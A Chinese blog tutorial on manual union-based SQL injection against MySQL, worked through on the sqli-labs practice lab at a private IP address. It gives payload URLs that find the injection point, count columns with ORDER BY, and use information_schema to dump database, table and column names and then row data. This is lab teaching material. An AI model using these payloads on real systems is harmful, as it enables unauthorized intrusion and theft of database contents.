mysql 手工注入解析

Posted 2021-12-28 recklesszhang

         前言：这篇文章是针对mysql5.0版本及以上版本的数据库进行注入。至于如何判断数据版本呢？可以通过扫描工具自行探测。本次用到的靶场是使用的sqlilabs，可以自行搭建。话不多说，进入正题！

知识背景

        在mysql 5.0以上版本中mysql存在一个自带数据名为information_schema,它是一个存储所有数据库名，表名，列名的数据库，相当于可以通过查询他获取指定数据下面的表名或列名字

information_schema.tables： 记录所有表名信息的表

information_schema.columns：记录所有列名信息的表

table_name：表名

column_name：列名

table_schema：数据库名

判断是否可以注入

http://192.168.58.130:86/Less-2/?id=123213282kjhdkjashdaksjd

让id随便等于一个值，但是页面还是可以正常显示，就代表id还是把我输入的内容带入到数据库中进行查询，故存在注入点。

猜解列名数量

http://192.168.58.130:86/Less-2/?id=1 order by 3

http://192.168.58.130:86/Less-2/?id=1 order by 4

所以列名数目为3

获取所有数据名字

http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

暴露出所有的数据库名字    这里的group_concat就是值的是吧schema_name这一列都给查出来

获取joomla数据库下的表名信息

http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'joomla' 

获取joomla数据库表名bak_krfbj_assets表的所有列信息

http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'bak_krfbj_assets' and  table_schema ='joomla'       //加了一个and 为了避免其他数据库也有一个名为bak_krfbj_assets的表

结果：

获取指定数据：

获取name内容

http://192.168.58.130:86/Less-2/?id=-1 union select 1,name, 4 from joomla.bak_krfbj_assets

获取rules 内容

http://192.168.58.130:86/Less-2/?id=-1 union select 1,rules, 4 from joomla.bak_krfbj_assets

自此我们获取到了具体的name和rules信息，此文章呢涉及到注入是比较简单的，学注入的漫漫长路，同志仍然需要努力呀。